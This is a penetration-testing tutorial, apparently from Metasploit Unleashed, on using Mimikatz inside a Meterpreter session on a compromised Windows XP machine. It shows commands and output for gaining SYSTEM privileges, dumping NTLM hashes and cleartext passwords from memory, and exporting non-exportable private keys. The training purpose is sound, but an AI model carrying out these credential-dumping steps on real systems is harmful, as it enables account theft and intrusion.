Mimikatz a11y.text Mimikatz Mimikatz is a great post-exploitation tool written by Benjamin Delpy (gentilkiwi). After the initial exploitation phase, attackers may want to get a firmer foothold on the computer/network. Doing so often requires a set of complementary tools. Mimikatz is an attempt to bundle together some of the most useful tasks that attackers will want to perform. Fortunately, Metasploit has decided to include Mimikatz as a meterpreter script to allow for easy access to its full set of features without needing to upload any files to the disk of the compromised host. Note: The version of Mimikatz in metasploit is v1.0, however Benjamin Delpy has already released v2.0 as a stand-alone package on his website. This is relevant as a lot of the syntax has changed with the upgrade to v2.0. Loading Mimikatz a11y.text Loading Mimikatz After obtaining a meterpreter shell, we need to ensure that our session is running with SYSTEM level privileges for Mimikatz to function properly.

```
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Mimikatz supports 32bit and 64bit Windows architectures. After upgrading our privileges to SYSTEM, we need to verify, with the sysinfo command, what the architecture of the compromised machine is. This will be relevant on 64bit machines as we may have compromised a 32bit process on a 64bit architecture. If this is the case, meterpreter will attempt to load a 32bit version of Mimikatz into memory, which will cause most features to be non-functional. This can be avoided by looking at the list of running processes and migrating to a 64bit process before loading Mimikatz.

```
meterpreter > sysinfo
Computer        : WINXP-E95CE571A1
OS              : Windows XP (Build 2600, Service Pack 3).
```

```
Architecture    : x86

System Language : en_US

Meterpreter     : x86/win32 Since this is a 32bit machine, we can proceed to load the Mimikatz

module into memory. meterpreter > load mimikatz

Loading extension mimikatz...success.


meterpreter > help mimikatz


Mimikatz Commands

=================


    Command           Description

    -------           -----------

    kerberos          Attempt to retrieve kerberos creds

    livessp           Attempt to retrieve livessp creds

    mimikatz_command  Run a custom commannd

    msv               Attempt to retrieve msv creds (hashes)

    ssp               Attempt to retrieve ssp creds

    tspkg             Attempt to retrieve tspkg creds

    wdigest           Attempt to retrieve wdigest creds Metasploit provides us with some built-in

commands that showcase Mimikatzâ€™s most commonly-used feature, dumping hashes and clear

text credentials straight from memory. However, the mimikatz_command option gives us full access

to all the features in Mimikatz. meterpreter > mimikatz_command -f version

mimikatz 1.0 x86 (RC) (Nov  7 2013 08:21:02) Though slightly unorthodox, we can get a complete

list of the available modules by trying to load a non-existent feature. meterpreter >

mimikatz_command -f fu::
```

```
Module : 'fu' introuvable


Modules disponibles :
        - Standard
   crypto    - Cryptographie et certificats
    hash    - Hash
   system    - Gestion systÃ¨me
  process    - Manipulation des processus
   thread    - Manipulation des threads
  service    - Manipulation des services
 privilege    - Manipulation des privilÃ¨ges
   handle    - Manipulation des handles
impersonate    - Manipulation tokens d'accÃ¨s
  winmine    - Manipulation du dÃ©mineur
minesweeper    - Manipulation du dÃ©mineur 7
    nogpo    - Anti-gpo et patchs divers
  samdump    - Dump de SAM
   inject    - Injecteur de librairies
      ts    - Terminal Server
   divers    - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
  sekurlsa    - Dump des sessions courantes par providers LSASS
     efs    - Manipulations EFS To query the available options for these modules, we can use the following syntax. meterpreter > mimikatz_command -f divers::
Module : 'divers' identifiÃ©, mais commande '' introuvable
```

Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module

noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage

eventdrop - [super experimental] Patch l'observateur d'Ã©vÃ©nements pour ne plus rien enregistrer

cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour dÃ©verrouiller une session

secrets - Affiche les secrets utilisateur Reading Hashes and Passwords from Memory a11y.text Reading Hashes and Passwords from Memory We can use both the built-in Metasploit commands as well as the native Mimikatz commands to extract hashes and clear-text credentials from the compromised machine. Built-In Metasploit: meterpreter > msv

```
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID   Package    Domain           User             Password
------   -------    ------           ----             --------
0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{
00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{
aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;56683  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)
```

```
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID   Package    Domain          User            Password
------   -------    ------          ----            --------
0;999    NTLM       WORKGROUP       WINXP-E95CE571A1$
0;997    Negotiate  NT AUTHORITY    LOCAL SERVICE
0;56683  NTLM
0;996    Negotiate  NT AUTHORITY    NETWORK SERVICE
0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword Native Mimikatz:
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : winxp-e95ce571a1
BootKey    : 553d8c1349162121e2a5d3d0f571db7f

Rid  : 500
User : Administrator
LM   :
NTLM : d6eec67681a3be111b5605849505628f

Rid  : 501
User : Guest
LM   :
```

```
NTLM :


Rid  : 1000

User : HelpAssistant

LM   : 6165cd1a0ebc61e470475c82cd451e14

NTLM :


Rid  : 1002

User : SUPPORT_388945a0

LM   :

NTLM : 771ee1fce7225b28f8aec4a88aea9b6a


meterpreter > mimikatz_command -f sekurlsa::searchPasswords
```

[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword } Other Modules a11y.text Other Modules The other Mimikatz modules contain a lot of useful features. A more complete feature list can be found on Benjamin Delpyâ€™s blog â€“ http://blog.gentilkiwi.com/ . Below are several usage examples to get an understanding of the syntax employed. The handle module can be used to list/kill processes and impersonate user tokens. meterpreter > mimikatz_command -f handle::

```
Module : 'handle' identifiÃ©, mais commande '' introuvable


Description du module : Manipulation des handles

        list    - Affiche les handles du systÃ¨me (pour le moment juste les processus et tokens)

 processStop    - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles

tokenImpersonate        - Essaye d'impersonaliser un token en utilisant d'autres handles

     nullAcl    - Positionne une ACL null sur des Handles
```

```
meterpreter > mimikatz_command -f handle::list
...snip...
  760  lsass.exe          ->  1004      Token          NT AUTHORITY\NETWORK SERVICE
  760  lsass.exe          ->  1008      Process 704     winlogon.exe
  760  lsass.exe          ->  1052      Process 980     svchost.exe
  760  lsass.exe          ->  1072      Process 2664    fubar.exe
  760  lsass.exe          ->  1084      Token          NT AUTHORITY\LOCAL SERVICE
  760  lsass.exe          ->  1096      Process 704     winlogon.exe
  760  lsass.exe          ->  1264      Process 1124    svchost.exe
  760  lsass.exe          ->  1272      Token          NT AUTHORITY\ANONYMOUS LOGON
  760  lsass.exe          ->  1276      Process 1804    psia.exe
  760  lsass.exe          ->  1352      Process 480     jusched.exe
  760  lsass.exe          ->  1360      Process 2056    TPAutoConnSvc.exe
  760  lsass.exe          ->  1424      Token          WINXP-E95CE571A1\Administrator
...snip...
```

The service module allows you to list, start, stop, and remove Windows services.

```
meterpreter > mimikatz_command -f service::
Module : 'service' identifiÃ©, mais commande '' introuvable


Description du module : Manipulation des services
        list    - Liste les services et pilotes
       start    - DÃ©marre un service ou pilote
        stop    - ArrÃªte un service ou pilote
      remove    - Supprime un service ou pilote
    mimikatz    - Installe et/ou dÃ©marre le pilote mimikatz


meterpreter > mimikatz_command -f service::list
```

```
...snip...
        WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry
        KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)
        WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC)
Locator
  980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)
        WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP
  760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager
        WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card
 1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler
        KERNEL_DRIVER   STOPPED Secdrv  Secdrv
 1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon
Secondary Logon
 1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent
 3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent
...snip...
```

The crypto module allows you to list and export any certificates and their corresponding private keys that may be stored on the compromised machine. This is possible even if they are marked as non-exportable.

```
meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifiÃ©, mais commande '' introuvable


Description du module : Cryptographie et certificats
listProviders   - Liste les providers installÃ©s)
  listStores    - Liste les magasins systÃ¨me
listCertificates        - Liste les certificats
    listKeys    - Liste les conteneurs de clÃ©s
exportCertificates      - Exporte les certificats
```

```
  exportKeys    - Exporte les clÃ©s
    patchcng    - [experimental] Patch le gestionnaire de clÃ©s pour l'export de clÃ©s non exportable
   patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clÃ©s non exportable


meterpreter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI :
        Gemplus GemSAFE Card CSP v1.0
        Infineon SICRYPT Base Smart Card CSP
        Microsoft Base Cryptographic Provider v1.0
        Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
        Microsoft Base DSS Cryptographic Provider
        Microsoft Base Smart Card Crypto Provider
        Microsoft DH SChannel Cryptographic Provider
        Microsoft Enhanced Cryptographic Provider v1.0
        Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
        Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)
        Microsoft RSA SChannel Cryptographic Provider
```

Microsoft Strong Cryptographic Provider Never Lose at Minesweeper Again! a11y.text Never Lose at Minesweeper Again! Mimikatz also includes a lot of novelty features. One of our favourites is a module that can read the location of mines in the classic Windows Minesweeper game, straight from memory! meterpreter > mimikatz_command -f winmine::infos

```
Mines           : 99
Dimension       : 16 lignes x 30 colonnes
Champ           :


         . . . . . . * . * 1   1 * 1          1 * . . . . . . * . *
```

```
..*......1 111   112.*.**.**..
.*.....*.1    1111*...*..*....
.....*.**21  12*...**..*....*.
..*..*...*1  1*.*.......*.*...
.**.......2111.*....*..*......
...........*.....*.....**.....
...*.*.....*.*....*....*......
.....**.*.*.*.**.***........*.
**.*...312121..*..*..*..*.....
....***1    1..**...*......*.*
..***.31  112*222.*......*....
.....*1 112*.11 1....*.***....
......1 1*...1  1*...*.....*..
......112...*1  1111**.*....*.
.*.....*...*.1     1.*.......*
```

Next Backdooring EXE Files Prev MSF Extended Usage